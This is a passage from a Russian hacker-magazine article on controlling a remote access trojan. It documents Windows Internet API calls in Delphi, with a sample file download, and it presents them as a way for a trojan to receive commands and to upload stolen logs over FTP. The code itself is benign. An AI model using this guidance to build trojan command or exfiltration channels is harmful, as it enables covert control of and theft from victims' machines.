Управление RAT Ms-Rem Хакер, номер #079, стр. 079-108-6 DwFlags – задает параметры, влияющие на поведение Internet-функций. Возможно применение комбинации из следующих значений: INTERNET_FLAG_ASYNC, INTERNET_FLAG_FROM_CACHE, INTERNET_FLAG_OFFLINE. InternetOpen вернет значение типа HINTERNET, которое впоследствии будет использоваться во всех функциях этого интерфейса. В принципе, можно неоднократно вызывать эту функцию, например для доступа к различным сервисам (FTP, HTTP, etc), но обычно бывает достаточно сделать это всего один раз. В случае неудачи она вернет nil. Кстати, непосредственно с этой функцией связана и еще одна, не менее важная - InternetCloseHandle. После завершения работы с Internet API нужно закрыть с ее помощью все указатели HINTERNET. Итак, после инициализации Internet API нам нужно открыть скачиваемый файл. Это делается функцией InternetOpenUrl: function InternetOpenUrl(hInet: HINTERNET; lpszUrl: PChar; lpszHeaders: PChar; dwHeadersLength: DWORD; dwFlags: DWORD; dwContext: DWORD): HINTERNET; stdcall; Параметры: hInet - указатель, полученный после вызова InternetOpen. LpszUrl – целевой URL. Обязательно должен начинаться с указания протокола, по которому будет происходить соединение. Поддерживаются следующие - ftp, gopher, http и https. LpszHeaders - содержит заголовок http-запроса. Если установлен в nil, то вычисляется автоматически. DwHeadersLength - длина заголовка. Можно установить в 0 для автоматического вычисления. dwFlags - флаг, задающий дополнительные параметры перед выполнением функции. У нас он тоже будет иметь значение 0. Функция вернет указатель на файл или nil в случае ошибки. После открытия файла его можно прочитать в память с помощью InternetReadFile, а узнать его размер можно функцией InternetQueryDataAvailable. Вот простой пример скачивания файла по http-протоколу с использованием Internet API: begin hInternet := InternetOpen(nil, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0); hFile := InternetOpenUrl(hInternet, 'http://www.xcontrol.com.ua/img/xclogo.jpg', nil, 0, INTERNET_FLAG_EXISTING_CONNECT, 0); if hFile <> nil then begin InternetQueryDataAvailable(hFile, Size, 0, 0); GetMem(DataBuff, Size); InternetReadFile(hFile, DataBuff, Size, Bytes); hOut := CreateFile('c:\image.jpg', GENERIC_WRITE, 0, nil, CREATE_NEW, 0, 0); if hOut <> INVALID_HANDLE_VALUE then begin WriteFile(hOut, DataBuff^, Size, Bytes, nil); CloseHandle(hOut); end; FreeMem(DataBuff); InternetCloseHandle(hFile); end; InternetCloseHandle(hInternet); end. Этот метод обычно используется для получения команд управления трояном. Однако также может понадобиться и закачка файла на FTP. Это требуется, скажем, для того, чтобы закинуть лог-файлы или какую-нибудь полезную информацию на хостинг. Все это дело реализуется очень просто посредством Internet API. После вызова InternetOpen нам нужно подключиться к FTP-серверу и авторизоваться на нем, что можно сделать с помощью функции InternetConnect: |